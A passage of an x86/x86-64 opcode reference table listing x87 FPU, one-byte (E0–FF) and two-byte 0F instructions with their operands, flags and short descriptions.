| | DC| | | 2| | U9 | | | |  _FCOM2_ _alias_ | _ST_|  EST| | | | x87fpu|  compar| | | 0123| 0123| | | Compare Real  
| | DC| | Mf| 3| | | | | p| FCOMP|  _ST_|  Mdr| | | | x87fpu|  compar| | | 0123| 0123| | | Compare Real and Pop  
| | DC| | | 3| | U9 | | | p|  _FCOMP3_ _alias_ | _ST_|  EST| | | | x87fpu|  compar| | | 0123| 0123| | | Compare Real and Pop  
| | DC| | Mf| 4| | | | | | FSUB| ** _ST_**|  Mdr| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Subtract  
| | DC| | | 4| | | | | | FSUBR| **EST**|  ST| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Subtract  
| | DC| | Mf| 5| | | | | | FSUBR| ** _ST_**|  Mdr| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Subtract  
| | DC| | | 5| | | | | | FSUB| **EST**|  ST| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Subtract  
| | DC| | Mf| 6| | | | | | FDIV| ** _ST_**|  Mdr| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Divide  
| | DC| | | 6| | | | | | FDIVR| **EST**|  ST| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Divide  
| | DC| | Mf| 7| | | | | | FDIVR| ** _ST_**|  Mdr| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Divide  
| | DC| | | 7| | | | | | FDIV| **EST**|  ST| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Divide and Pop  
| | DD| | Mf| 0| | | | | s| FLD| ** _ST_**|  Mdr| | | | x87fpu|  datamov| | | 0123| .1..| 0.23| | Load Floating Point Value  
| | DD| | | 0| | | | | | FFREE| EST| | | | | x87fpu|  control| | | 0123| | 0123| | Free Floating-Point Register  
| | DD| | | 1| | | | | p| FISTTP| **Mqi**|  _ST_| | |  sse3| x87fpu|  conver| | | 0123| .1..| 0.23| .0..| Store Integer with Truncation and Pop  
| | DD| | | 1| | U9 | | | |  _FXCH4_ _alias_ | **_ST_**| **EST**| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Exchange Register Contents  
| | DD| | Mf| 2| | | | | | FST| **Mdr**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Floating Point Value  
| | DD| | | 2| | | | | | FST| ** _ST_**|  EST| | | | x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Floating Point Value  
| | DD| | Mf| 3| | | | | p| FSTP| **Mdr**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Floating Point Value and Pop  
| | DD| | | 3| | | | | p| FSTP| ** _ST_**|  EST| | | | x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Floating Point Value and Pop  
| | DD| | | 4| | | | | | FRSTOR| ** _ST_**| ** _ST1_**| ** _ST2_**| ...| | x87fpu|  control| | | 0123| 0123| | | Restore x87 FPU State  
| | DD| | | 4| | | | | | FUCOM|  _ST_|  EST| | | | x87fpu|  compar| | | 0123| 0123| | | Unordered Compare Floating Point Values  
| | DD| E1| | 4| | | | | | FUCOM|  _ST_|  _ST1_| | | |  x87fpu|  compar| | | 0123| 0123| | | Unordered Compare Floating Point Values  
| | DD| | | 5| | | | | p| FUCOMP|  _ST_|  EST| | | | x87fpu|  compar| | | 0123| 0123| | | Unordered Compare Floating Point Values and Pop  
| | DD| E9| | 5| | | | | p| FUCOMP|  _ST_|  _ST1_| | | |  x87fpu|  compar| | | 0123| 0123| | | Unordered Compare Floating Point Values and Pop  
| | DD| | | 6| | | | | | FNSAVE| **Mst**|  _ST_|  _ST1_| ...| | x87fpu|  control| | | 0123| 0123| | 0000| Store x87 FPU State  
9B| | DD| | | 6| | | | | | FSAVE| **Mst**|  _ST_|  _ST1_| ...| | x87fpu|  control| | | 0123| 0123| | 0000| Store x87 FPU State  
| | DD| | | 7| | | | | | FNSTSW| **Mw**| | | | |  x87fpu|  control| | | 0123| | 0123| | Store x87 FPU Status Word  
9B| | DD| | | 7| | | | | | FSTSW| **Mw**| | | | |  x87fpu|  control| | | 0123| | 0123| | Store x87 FPU Status Word  
| | DE| | MF| 0| | | | | | FIADD| ** _ST_**|  Mwi| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Add  
| | DE| | | 0| | | | | p| FADDP| **EST**|  ST| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Add and Pop  
| | DE| C1| | 0| | | | | p| FADDP| ** _ST1_**|  _ST_| | | |  x87fpu|  arith| | | 0123| .1..| 0.23| | Add and Pop  
| | DE| | MF| 1| | | | | | FIMUL| ** _ST_**|  Mwi| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Multiply  
| | DE| | | 1| | | | | p| FMULP| **EST**|  ST| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Multiply and Pop  
| | DE| C9| | 1| | | | | p| FMULP| ** _ST1_**|  _ST_| | | |  x87fpu|  arith| | | 0123| .1..| 0.23| | Multiply and Pop  
| | DE| | MF| 2| | | | | | FICOM|  _ST_|  Mwi| | | | x87fpu|  compar| | | 0123| 0123| | | Compare Integer  
| | DE| | | 2| | U9 | | | p|  _FCOMP5_ _alias_ | _ST_|  EST| | | | x87fpu|  compar| | | 0123| 0123| | | Compare Real and Pop  
| | DE| | MF| 3| | | | | p| FICOMP|  _ST_|  Mwi| | | | x87fpu|  compar| | | 0123| 0123| | | Compare Integer and Pop  
| | DE| D9| | 3| | | | | P| FCOMPP|  _ST_|  _ST1_| | | |  x87fpu|  compar| | | 0123| 0123| | | Compare Real and Pop Twice  
| | DE| | MF| 4| | | | | | FISUB| ** _ST_**|  Mwi| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Subtract  
| | DE| | | 4| | | | | p| FSUBRP| **EST**|  ST| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Subtract and Pop  
| | DE| E1| | 4| | | | | p| FSUBRP| ** _ST1_**|  _ST_| | | |  x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Subtract and Pop  
| | DE| | MF| 5| | | | | | FISUBR| ** _ST_**|  Mwi| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Subtract  
| | DE| | | 5| | | | | p| FSUBP| **EST**|  ST| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Subtract and Pop  
| | DE| E9| | 5| | | | | p| FSUBP| ** _ST1_**|  _ST_| | | |  x87fpu|  arith| | | 0123| .1..| 0.23| | Subtract and Pop  
| | DE| | MF| 6| | | | | | FIDIV| ** _ST_**|  Mwi| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Divide  
| | DE| | | 6| | | | | p| FDIVRP| **EST**|  ST| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Divide and Pop  
| | DE| F1| | 6| | | | | p| FDIVRP| ** _ST1_**|  _ST_| | | |  x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Divide and Pop  
| | DE| | MF| 7| | | | | | FIDIVR| ** _ST_**|  Mwi| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Divide  
| | DE| | | 7| | | | | p| FDIVP| **EST**|  ST| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Divide and Pop  
| | DE| F9| | 7| | | | | p| FDIVP| ** _ST1_**|  _ST_| | | |  x87fpu|  arith| | | 0123| .1..| 0.23| | Divide and Pop  
| | DF| | MF| 0| | | | | s| FILD| ** _ST_**|  Mwi| | | | x87fpu|  datamov| | | 0123| .1..| 0.23| | Load Integer  
| | DF| | | 0| | D8 | | | p|  _FFREEP_|  EST| | | | | x87fpu|  control| | | 0123| | 0123| | Free Floating-Point Register and Pop  
| | DF| | MF| 1| | | | | p| FISTTP| **Mwi**|  _ST_| | |  sse3| x87fpu|  conver| | | 0123| .1..| 0.23| .0..| Store Integer with Truncation and Pop  
| | DF| | | 1| | U9 | | | |  _FXCH7_ _alias_ | **_ST_**| **EST**| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Exchange Register Contents  
| | DF| | MF| 2| | | | | | FIST| **Mwi**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Integer  
| | DF| | | 2| | U9 | | | p|  _FSTP8_ _alias_ | **EST**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Floating Point Value and Pop  
| | DF| | MF| 3| | | | | p| FISTP| **Mwi**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Integer and Pop  
| | DF| | | 3| | U9 | | | p|  _FSTP9_ _alias_ | **EST**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Floating Point Value and Pop  
| | DF| | | 4| | | | | s| FBLD| ** _ST_**|  Mbcd| | | | x87fpu|  datamov| | | 0123| .1..| 0.23| | Load Binary Coded Decimal  
| | DF| E0| | 4| | | | | | FNSTSW| **AX**| | | | |  x87fpu|  control| | | 0123| | 0123| | Store x87 FPU Status Word  
9B| | DF| E0| | 4| | | | | | FSTSW| **AX**| | | | |  x87fpu|  control| | | 0123| | 0123| | Store x87 FPU Status Word  
| | DF| | | 5| | | | | s| FILD| ** _ST_**|  Mqi| | | | x87fpu|  datamov| | | 0123| .1..| 0.23| | Load Integer  
| | DF| | | 5| | | | | p| FUCOMIP| ST| EST| | | | x87fpu|  compar| | | o...z.pc .1..| o...z.pc .1..| | o.......| Unordered Compare Floating Point Values and Set EFLAGS and Pop  
| | DF| | | 6| | | | | p| FBSTP| **Mbcd**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store BCD Integer and Pop  
| | DF| | | 6| | | | | p| FCOMIP| ST| EST| | | | x87fpu|  compar| | | o...z.pc .1..| o...z.pc .1..| | o.......| Compare Floating Point Values and Set EFLAGS and Pop  
| | DF| | | 7| | | | | p| FISTP| **Mqi**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Integer and Pop  
| | E0| | | | | D32 | E| | | LOOPNZ| ** _rCX_**|  Jbs| | | | gen|  branch| cond| ....z...| | | | | Decrement count; Jump short if count\!=0 and ZF=0  
LOOPNE| ** _rCX_**|  Jbs| |   
| | E1| | | | | D32 | E| | | LOOPZ| ** _rCX_**|  Jbs| | | | gen|  branch| cond| ....z...| | | | | Decrement count; Jump short if count\!=0 and ZF=1  
LOOPE| ** _rCX_**|  Jbs| |   
| | E2| | | | | D32 | E| | | LOOP| ** _rCX_**|  Jbs| | | | gen|  branch| cond| | | | | | Decrement count; Jump short if count\!=0  
| | E3| | | | | D32 | E| | | JECXZ| Jbs|  _ECX_| | | |  gen|  branch| cond| | | | | | Jump short if rCX register is 0  
JRCXZ| Jbs|  _RCX_| |   
| |  E4| | w| | | | | f1 | | IN| **AL**|  Ib| | | | gen|  inout| | | | | | | Input from Port  
| | E5| | W| | | | | f1 | | IN| **eAX**|  Ib| | | | gen|  inout| | | | | | | Input from Port  
| | E6| | w| | | | | f1 | | OUT| **Ib**|  AL| | | | gen|  inout| | | | | | | Output to Port  
| | E7| | W| | | | | f1 | | OUT| **Ib**|  eAX| | | | gen|  inout| | | | | | | Output to Port  
| | E8| | | | | D32 | | | | CALL| Jvds| | | | | gen|  branch stack| | | | | | Call Procedure  
| | E9| | | | | D32 | | | | JMP| Jvds| | | | | gen|  branch| | | | | | | Jump  
| | EA| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | EB| | | | | | | | | JMP| Jbs| | | | | gen|  branch| | | | | | | Jump  
| | EC| | w| | | | | f1 | | IN| **AL**|  DX| | | | gen|  inout| | | | | | | Input from Port  
| | ED| | W| | | | | f1 | | IN| **eAX**|  DX| | | | gen|  inout| | | | | | | Input from Port  
| | EE| | w| | | | | f1 | | OUT| **DX**|  AL| | | | gen|  inout| | | | | | | Output to Port  
| | EF| | W| | | | | f1 | | OUT| **DX**|  eAX| | | | gen|  inout| | | | | | | Output to Port  
F0| | | | | | | | | | | LOCK| | | | | | prefix| | | | | | | | Assert LOCK\# Signal Prefix  
| | F1| | | | | D4 | | | | _undefined_| | | | | | | | | |  Undefined and Reserved; Does not Generate \#UD  
| | F1| | | | | U10 | | | | INT1 _part alias 10_ | _Fv_| | | | |  gen|  break stack| | ..i.....| ..i.....| | ..i.....| Call to Interrupt Procedure  
ICEBP _part alias 10_ | _Fv_| | |   
F2| | | | | | | D11 | E| | | REPNZ| ** _rCX_**| | | | |  prefix|  string| | ....z...| | | | | Repeat String Operation Prefix  
REPNE| ** _rCX_**| | |   
F2| | | | | | | U11 | E| | | REP| ** _rCX_**| | | | |  prefix|  string| | | | | | | Repeat String Operation Prefix  
F2| | | | | | | M| | | |  _no mnemonic_|  sse2| prefix| | | | | | | | Scalar Double-precision Prefix  
F3| | | | | | | D11 | E| | | REPZ| ** _rCX_**| | | | |  prefix|  string| | ....z...| | | | | Repeat String Operation Prefix  
REPE| ** _rCX_**| | |   
F3| | | | | | | D11 | E| | | REP| ** _rCX_**| | | | |  prefix|  string| | | | | | | Repeat String Operation Prefix  
F3| | | | | | | M| | | |  _no mnemonic_|  sse1| prefix| | | | | | | | Scalar Single-precision Prefix  
| | F4| | | | | | | 0| | HLT| | | | | | system| | | | | | | | Halt  
| | F5| | | | | | | | | CMC| | | | | | gen|  flgctrl| | .......c| .......c| .......c| | | Complement Carry Flag  
| | F6| | w| 0| | | | | | TEST| Eb| Ib| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Compare  
| | F6| | w| 1| | U12 | | | | TEST _alias_ | Eb| Ib| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Compare  
| | F6| | w| 2| | | | | | NOT| **Eb**| | | | |  gen|  logical| | | | | | | One's Complement Negation  
| | F6| | w| 3| | | | | | NEG| **Eb**| | | | |  gen|  arith| binary| | o..szapc| o..szapc| | | Two's Complement Negation  
| | F6| | w| 4| | | | | | MUL| ** _AX_**|  _AL_|  Eb| | | gen|  arith| binary| | o..szapc| o......c| ...szap.| | Unsigned Multiply  
| | F6| | w| 5| | | | | | IMUL| ** _AX_**|  _AL_|  Eb| | | gen|  arith| binary| | o..szapc| o......c| ...szap.| | Signed Multiply  
| | F6| | w| 6| | | | | | DIV| ** _AL_**| ** _AH_**|  _AX_|  Eb| | gen|  arith| binary| | o..szapc| | o..szapc| | Unsigned Divide  
| | F6| | w| 7| | | | | | IDIV| ** _AL_**| ** _AH_**|  _AX_|  Eb| | gen|  arith| binary| | o..szapc| | o..szapc| | Signed Divide  
| | F7| | W| 0| | | | | | TEST| Evqp| Ivqp| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Compare  
| | F7| | W| 1| | U12 | | | | TEST _alias_ | Evqp| Ivqp| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Compare  
| | F7| | W| 2| | | | | | NOT| **Evqp**| | | | |  gen|  logical| | | | | | | One's Complement Negation  
| | F7| | W| 3| | | | | | NEG| **Evqp**| | | | |  gen|  arith| binary| | o..szapc| o..szapc| | | Two's Complement Negation  
| | F7| | W| 4| | | | | | MUL| ** _rDX_**| ** _rAX_**|  Evqp| | | gen|  arith| binary| | o..szapc| o......c| ...szap.| | Unsigned Multiply  
| | F7| | w| 5| | | | | | IMUL| ** _rDX_**| ** _rAX_**|  Evqp| | | gen|  arith| binary| | o..szapc| o......c| ...szap.| | Signed Multiply  
| | F7| | w| 6| | | | | | DIV| ** _rDX_**| ** _rAX_**|  Evqp| | | gen|  arith| binary| | o..szapc| | o..szapc| | Unsigned Divide  
| | F7| | w| 7| | | | | | IDIV| ** _rDX_**| ** _rAX_**|  Evqp| | | gen|  arith| binary| | o..szapc| | o..szapc| | Signed Divide  
| | F8| | | | | | | | | CLC| | | | | | gen|  flgctrl| | | .......c| .......c| | .......c| Clear Carry Flag  
| | F9| | | | | | | | | STC| | | | | | gen|  flgctrl| | | .......c| .......c| | .......C| Set Carry Flag  
| | FA| | | | | | | f1 | | CLI| | | | | | gen|  flgctrl| | | ..i.....| ..i.....| | ..i.....| Clear Interrupt Flag  
| | FB| | | | | | | f1 | | STI| | | | | | gen|  flgctrl| | | ..i.....| ..i.....| | ..I.....| Set Interrupt Flag  
| | FC| | | | | | | | | CLD| | | | | | gen|  flgctrl| | | .d......| .d......| | .d......| Clear Direction Flag  
| | FD| | | | | | | | | STD| | | | | | gen|  flgctrl| | | .d......| .d......| | .D......| Set Direction Flag  
| | FE| | w| 0| | | | | | INC| **Eb**| | | | |  gen|  arith| binary| | o..szap.| o..szap.| | | Increment by 1  
| | FE| | w| 1| | | | | | DEC| **Eb**| | | | |  gen|  arith| binary| | o..szap.| o..szap.| | | Decrement by 1  
| | FF| | W| 0| | | | | | INC| **Evqp**| | | | |  gen|  arith| binary| | o..szap.| o..szap.| | | Increment by 1  
| | FF| | W| 1| | | | | | DEC| **Evqp**| | | | |  gen|  arith| binary| | o..szap.| o..szap.| | | Decrement by 1  
| | FF| | | 2| | | | | | CALL| Ev| | | | | gen|  branch stack| | | | | | Call Procedure  
| | FF| | | 2| | D32 | E| | | CALL| Eq| | | | | gen|  branch stack| | | | | | Call Procedure  
| | FF| | | 3| | D13 | | | | CALLF| Mptp| | | | | gen|  branch stack| | | | | | Call Procedure  
| | FF| | | 4| | | | | | JMP| Ev| | | | | gen|  branch| | | | | | | Jump  
| | FF| | | 4| | D32 | E| | | JMP| Eq| | | | | gen|  branch| | | | | | | Jump  
| | FF| | | 5| | D13 | | | | JMPF| Mptp| | | | | gen|  branch| | | | | | | Jump  
| | FF| | | 6| | | | | | PUSH| Ev| | | | | gen|  stack| | | | | | | Push Word, Doubleword or Quadword Onto the Stack  
| | FF| | | 6| | | E| | | PUSH| Evq| | | | | gen|  stack| | | | | | | Push Word, Doubleword or Quadword Onto the Stack  
pf| 0F| po| so| flds| o| proc| st| m| rl| x| mnemonic| op1| op2| op3| op4|
iext| grp1| grp2| grp3| tested f| modif f| def f| undef f| f values|
description, notes  
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---  
| 0F| 00| | | 0| | | P| | | SLDT| **Mw**|  _LDTR_| | | |  system| | | | | | | | Store Local Descriptor Table Register  
SLDT| **Rvqp**|  _LDTR_| |   
|  0F| 00| | | 1| | | P| | | STR| **Mw**|  _TR_| | | |  system| | | | | | | | Store Task Register  
STR| **Rvqp**|  _TR_| |   
|  0F| 00| | | 2| | | P| 0| | LLDT| ** _LDTR_**|  Ew| | | | system| | | | | | | | Load Local Descriptor Table Register  
| 0F| 00| | | 3| | | P| 0| | LTR| ** _TR_**|  Ew| | | | system| | | | | | | | Load Task Register  
| 0F| 00| | | 4| | | P| | | VERR| Ew| | | | | system| | | | ....z...| ....z...| | | Verify a Segment for Reading  
| 0F| 00| | | 5| | | P| | | VERW| Ew| | | | | system| | | | ....z...| ....z...| | | Verify a Segment for Writing  
| 0F| 00| | | 6| IT+| | | | | JMPE| | | | | | system|  branch| | | | | | | Jump to IA-64 Instruction Set  
| 0F| 01| | | 0| | | | | | SGDT| **Ms**|  _GDTR_| | | |  system| | | | | | | | Store Global Descriptor Table Register  
| 0F| 01| C1| | 0| | D33 | P| 0| | VMCALL| | | | | vmx| | | | | o..szapc| o..szapc| | | Call to VM Monitor  
| 0F| 01| C2| | 0| | D33 | P| 0| | VMLAUNCH| | | | | vmx| | | | | o..szapc| o..szapc| | | Launch Virtual Machine  
| 0F| 01| C3| | 0| | D33 | P| 0| | VMRESUME| | | | | vmx| | | | | o..szapc| o..szapc| | | Resume Virtual Machine  
| 0F| 01| C4| | 0| | D33 | P| 0| | VMXOFF| | | | | vmx| | | | | o..szapc| o..szapc| | | Leave VMX Operation  
| 0F| 01| | | 1| | | | | | SIDT| **Ms**|  _IDTR_| | | |  system| | | | | | | | Store Interrupt Descriptor Table Register  
| 0F| 01| C8| | 1| | | | 0| | MONITOR|  _BAb_|  _ECX_|  _EDX_| |  sse3| sync| | | | | | | | Set Up Monitor Address  
| 0F| 01| C9| | 1| | | | 0| | MWAIT|  _EAX_|  _ECX_| | |  sse3| sync| | | | | | | | Monitor Wait  
| 0F| 01| | | 2| | | | 0| | LGDT| ** _GDTR_**|  Ms| | | | system| | | | | | | | Load Global Descriptor Table Register  
| 0F| 01| D0| | 2| C2++| | | | | XGETBV| ** _EDX_**| ** _EAX_**|  _ECX_|  _XCR_| |  system| | | | | | | | Get Value of Extended Control Register  
| 0F| 01| D1| | 2| C2++| | | 0| | XSETBV| ** _XCR_**|  _ECX_|  _EDX_|  _EAX_| |  system| | | | | | | | Set Extended Control Register  
| 0F| 01| | | 3| | | | 0| | LIDT| ** _IDTR_**|  Ms| | | | system| | | | | | | | Load Interrupt Descriptor Table Register  
| 0F| 01| | | 4| | D14 | | | | SMSW| **Mw**|  _MSW_| | | |  system| | | | | | | | Store Machine Status Word  
SMSW| **Rvqp**|  _MSW_| |   
|  0F| 01| | | 6| | | | 0| | LMSW| ** _MSW_**|  Ew| | | | system| | | | | | | | Load Machine Status Word  
| 0F| 01| | | 7| | | | 0| | INVLPG| M| | | | | system| | | | | | | | Invalidate TLB Entry  
| 0F| 01| F8| | 7| | | E| 0| | SWAPGS| ** _GS_**| ** _I..._**| | | |  system| | | | | | | | Swap GS Base Register  
| 0F| 01| F9| | 7| C7+| | | f2 | | RDTSCP| ** _EAX_**| ** _EDX_**| ** _ECX_**| ...| | system| | | | | | | | Read Time-Stamp Counter and Processor ID  
| 0F| 02| | | r| | | P| | | LAR| **Gvqp**|  Mw| | | | system| | | | ....z...| ....z...| | | Load Access Rights Byte  
LAR| **Gvqp**|  Rv| |   
| 0F| 03| | | r| | | P| | | LSL| **Gvqp**|  Mw| | | | system| | | | ....z...| ....z...| | | Load Segment Limit  
LSL| **Gvqp**|  Rv| |   
| 0F| 05| | | | | D15 | E| | | SYSCALL| ** _RCX_**| ** _R11_**| ** _SS_**| ...| | system|  branch| | | | | | | Fast System Call  
| 0F| 06| | | | | | | 0| | CLTS| ** _CR0_**| | | | |  system| | | | | | | | Clear Task-Switched Flag in CR0  
| 0F| 07| | | | | | E| 0| | SYSRET| ** _SS_**| ** _Fd_**|  _R11_| ...| | system|  branch| trans| | | | | | Return From Fast System Call  
| 0F| 08| | | | | | | 0| | INVD| | | | | | system| | | | | | | | Invalidate Internal Caches  
| 0F| 09| | | | | | | 0| | WBINVD| | | | | | system| | | | | | | | Write Back and Invalidate Cache  
| 0F| 0B| | | | | | | | | UD2| | | | | | gen|  control| | | | | | | Undefined Instruction  
| 0F| 0D| | | | | M16 | | | | NOP| Ev| | | | | gen|  control| | | | | | | No Operation  
| 0F| 10| | | r| | | | | | MOVUPS| **Vps**|  Wps| | | sse1| simdfp|  datamov| | | | | | | Move Unaligned Packed Single-FP Values  
F3| 0F| 10| | | r| | | | | | MOVSS| **Vss**|  Wss| | | sse1| simdfp|  datamov| | | | | | | Move Scalar Single-FP Values  
66| 0F| 10| | | r| | | | | | MOVUPD| **Vpd**|  Wpd| | | sse2| pcksclr|  datamov| | | | | | | Move Unaligned Packed Double-FP Value  
F2| 0F| 10| | | r| | | | | | MOVSD| **Vsd**|  Wsd| | | sse2| pcksclr|  datamov| | | | | | | Move Scalar Double-FP Value  
| 0F| 11| | | r| | | | | | MOVUPS| **Wps**|  Vps| | | sse1| simdfp|  datamov| | | | | | | Move Unaligned Packed Single-FP Values  
F3| 0F| 11| | | r| | | | | | MOVSS| **Wss**|  Vss| | | sse1| simdfp|  datamov| | | | | | | Move Scalar Single-FP Values  
66| 0F| 11| | | r| | | | | | MOVUPD| **Wpd**|  Vpd| | | sse2| pcksclr|  datamov| | | | | | | Move Unaligned Packed Double-FP Values  
F2| 0F| 11| | | r| | | | | | MOVSD| **Wsd**|  Vsd| | | sse2| pcksclr|  datamov| | | | | | | Move Scalar Double-FP Value  
| 0F| 12| | | r| | | | | | MOVHLPS| **Vq**|  Uq| | | sse1| simdfp|  datamov| | | | | | | Move Packed Single-FP Values High to Low  
| 0F| 12| | | r| | | | | | MOVLPS| **Vq**|  Mq| | | sse1| simdfp|  datamov| | | | | | | Move Low Packed Single-FP Values  
66| 0F| 12| | | r| | | | | | MOVLPD| **Vq**|  Mq| | | sse2| pcksclr|  datamov| | | | | | | Move Low Packed Double-FP Value  
F2| 0F| 12| | | r| | | | | | MOVDDUP| **Vq**|  Wq| | | sse3| simdfp|  datamov| | | | | | | Move One Double-FP and Duplicate  
F3| 0F| 12| | | r| | | | | | MOVSLDUP| **Vq**|  Wq| | | sse3| simdfp|  datamov| | | | | | | Move Packed Single-FP Low and Duplicate  
| 0F| 13| | | r| | | | | | MOVLPS| **Mq**|  Vq| | | sse1| simdfp|  datamov| | | | | | | Move Low Packed Single-FP Values  
66| 0F| 13| | | r| | | | | | MOVLPD| **Mq**|  Vq| | | sse2| pcksclr|  datamov| | | | | | | Move Low Packed Double-FP Value  
| 0F| 14| | | r| | | | | | UNPCKLPS| **Vps**|  Wq| | | sse1| simdfp|  shunpck| | | | | | | Unpack and Interleave Low Packed Single-FP Values  
66| 0F| 14| | | r| | | | | | UNPCKLPD| **Vpd**|  Wpd| | | sse2| pcksclr|  shunpck| | | | | | | Unpack and Interleave Low Packed Double-FP Values  
| 0F| 15| | | r| | | | | | UNPCKHPS| **Vps**|  Wq| | | sse1| simdfp|  shunpck| | | | | | | Unpack and Interleave High Packed Single-FP Values  
66| 0F| 15| | | r| | | | | | UNPCKHPD| **Vpd**|  Wpd| | | sse2| pcksclr|  shunpck| | | | | | | Unpack and Interleave High Packed Double-FP Values  
| 0F| 16| | | r| | | | | | MOVLHPS| **Vq**|  Uq| | | sse1| simdfp|  datamov| | | | | | | Move Packed Single-FP Values Low to High  
| 0F| 16| | | r| | | | | | MOVHPS| **Vq**|  Mq| | | sse1| simdfp|  datamov| | | | | | | Move High Packed Single-FP Values  
66| 0F| 16| | | r| | | | | | MOVHPD| **Vq**|  Mq| | | sse2| pcksclr|  datamov| | | | | | | Move High Packed Double-FP Value  
F3| 0F| 16| | | r| | | | | | MOVSHDUP| **Vq**|  Wq| | | sse3| simdfp|  datamov| | | | | | | Move Packed Single-FP High and Duplicate  
| 0F| 17| | | r| | | | | | MOVHPS| **Mq**|  Vq| | | sse1| simdfp|  datamov| | | | | | | Move High Packed Single-FP Values  
66| 0F| 17| | | r| | | | | | MOVHPD| **Mq**|  Vq| | | sse2| pcksclr|  datamov| | | | | | | Move High Packed Double-FP Value  
| 0F| 18| | | 0| | | | | | PREFETCHNTA| Mb| | | | sse1| fetch| | | | | | | | Prefetch Data Into Caches  
| 0F| 18| | | 1| | | | | | PREFETCHT0| Mb| | | | sse1| fetch| | | | | | | | Prefetch Data Into Caches  
| 0F| 18| | | 2| | | | | | PREFETCHT1| Mb| | | | sse1| fetch| | | | | | | | Prefetch Data Into Caches  
| 0F| 18| | | 3| | | | | | PREFETCHT2| Mb| | | | sse1| fetch| | | | | | | | Prefetch Data Into Caches  
| 0F| 18| | | 4| | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 18| | | 5| | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 18| | | 6| | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 18| | | 7| | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 19| | | | | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 1A| | | | | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 1B| | | | | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 1C| | | | | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 1D| | | | | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 1E| | | | | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 1F| | | 0| | | | | | NOP| Ev| | | | | gen|  control| | | | | | | No Operation  
| 0F| 1F| | | 1| | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 1F| | | 2| | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 1F| | | 3| | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 1F| | | 4| | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 1F| | | 5| | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 1F| | | 6| | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 1F| | | 7| | M17 | | | | HINT\_NOP| Ev| | | | | gen|  control| | | | | | | Hintable NOP  
| 0F| 20| | | r| | | E| 0| | MOV| **Rq**|  Cq| | | | system| | | | o..szapc| | o..szapc| | Move to/from Control Registers  
| 0F| 20| | | r| | U18 | E| 0| | MOV| **Hq**|  Cq| | | | system| | | | o..szapc| | o..szapc| | Move to/from Control Registers  
| 0F| 21| | | r| | | E| 0| | MOV| **Rq**|  Dq| | | | system| | | | o..szapc| | o..szapc| | Move to/from Debug Registers  
| 0F| 21| | | r| | U18 | E| 0| | MOV| **Hq**|  Dq| | | | system| | | | o..szapc| | o..szapc| | Move to/from Debug Registers  
